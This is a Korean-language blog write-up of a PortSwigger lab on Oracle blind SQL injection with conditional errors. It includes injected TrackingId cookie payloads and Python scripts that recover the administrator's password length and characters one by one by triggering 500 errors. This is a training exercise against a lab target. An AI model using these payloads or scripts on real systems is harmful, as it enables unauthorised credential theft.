[PortSwigger] - Lab : Blind SQL injection with conditional errors

김성진·2022년 12월 4일
0

이번엔 blind sql injection을 해야하는데, sql 문에 에러가 발생하면 어떤 에러 메시지를 출력하는 것 같다. 이전 문제와 비슷하게 풀 수 있겠다. (Oracle은 어렵다.)

To solve the lab, log in as the administarator user.

The database contains a different table called users. with columns called username and password

Hint : This lab uses an Oracle database. For more Information, see the SQL injection cheat sheet.

에러를 유발시키는 Oracle query이다.

SELECT CASE WHEN (YOUR_CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual

📒 Analysis & Exploit

📖 Analysis

Blind sqli를 진행하는데 쿼리가 어떻게 되어있는 지 몰라서 여러 경우를 테스트해봐야 한다.
우선 user 이름은 administrator이다.

TrackingId에 쿼리를 날려야 한다.

' UNION SELECT password FROM users where username='administrator'--

해당 쿼리를 날렸을 때는 정상적으로 페이지가 로드되었다.

' UNION SELEㅁCT password FROM users where username='administrator'--

이렇게 에러를 발생시키면 어떻게 될까 500Error가 뜬다.
이런 식으로 비밀번호가 일치하는 지를 토대로 blind Sqli를 진행하면 되겠다.

📖 Exploit

find_length

' UNION SELECT CASE WHEN length(password)=1 THEN to_char(1/0) ELSE NULL END FROM users --

이 쿼리를 날리면 어떻게될까? 에러가 생기지 않는다. length(password)가 1이 아니기에 to_char(1/0)이 실행되지 않았기 때문이다. 1/0이 실행되면 에러가 생겨 500 Error가 return된다. 이를 1씩 늘려가며 length(password)를 찾아보자.

import requests
import string

url = 'https://0ada00d20363b41ec3ad625100f600d9.web-security-academy.net/'

def find_len():
    pwlen = 1
    while True:
        print(pwlen)
        cookie = {"session" : "QHh5gOxuPDrMSEPrH3Sog8WVKEdokujk", "TrackingId" : "Z8lN7P88HeT7CcSd' UNION SELECT CASE WHEN length(password)="+str(pwlen)+" THEN to_char(1/0) ELSE NULL END FROM users --"}
        r = requests.get(url, cookies=cookie)
        # print(r.text)
        if 'Internal Server Error' in r.text:
            return pwlen
        else: pwlen += 1

print(find_len())      

wow 찾았다. 대박이다....

find_password (Real Exploit)

그렇다면

import requests
import string

url = 'https://0ada00d20363b41ec3ad625100f600d9.web-security-academy.net/'

def find_len():
    pwlen = 1
    while True:
        print(pwlen)
        cookie = {"session" : "QHh5gOxuPDrMSEPrH3Sog8WVKEdokujk", "TrackingId" : "Z8lN7P88HeT7CcSd' UNION SELECT CASE WHEN length(password)="+str(pwlen)+" THEN to_char(1/0) ELSE NULL END FROM users --"}
        r = requests.get(url, cookies=cookie)
        # print(r.text)
        if 'Internal Server Error' in r.text:
            return pwlen
        else: pwlen += 1
alphanumeric=string.ascii_lowercase+string.digits
def find_pw():
    pw = ''
    for i in range(1, 21):
        for j in range(32, 128):
            print(chr(j))
            query = "Z8lN7P88HeT7CcSd' UNION SELECT CASE WHEN ASCII(SUBSTR(password,"+str(i)+",1))="+str(j)+" THEN to_char(1/0) ELSE NULL END FROM users where username='administrator'--"
            cookie = {"session" : "QHh5gOxuPDrMSEPrH3Sog8WVKEdokujk", "TrackingId" : query}
            r = requests.get(url, cookies=cookie)
            if 'Internal Server Error' in r.text:
                pw+=chr(j)
                print(pw)
                break
    return pw
# print(find_len())
print(find_pw())

이렇게 찾아줄 수 있다. Oracle 문법은 신기하다.

profile
Today I Learned

0개의 댓글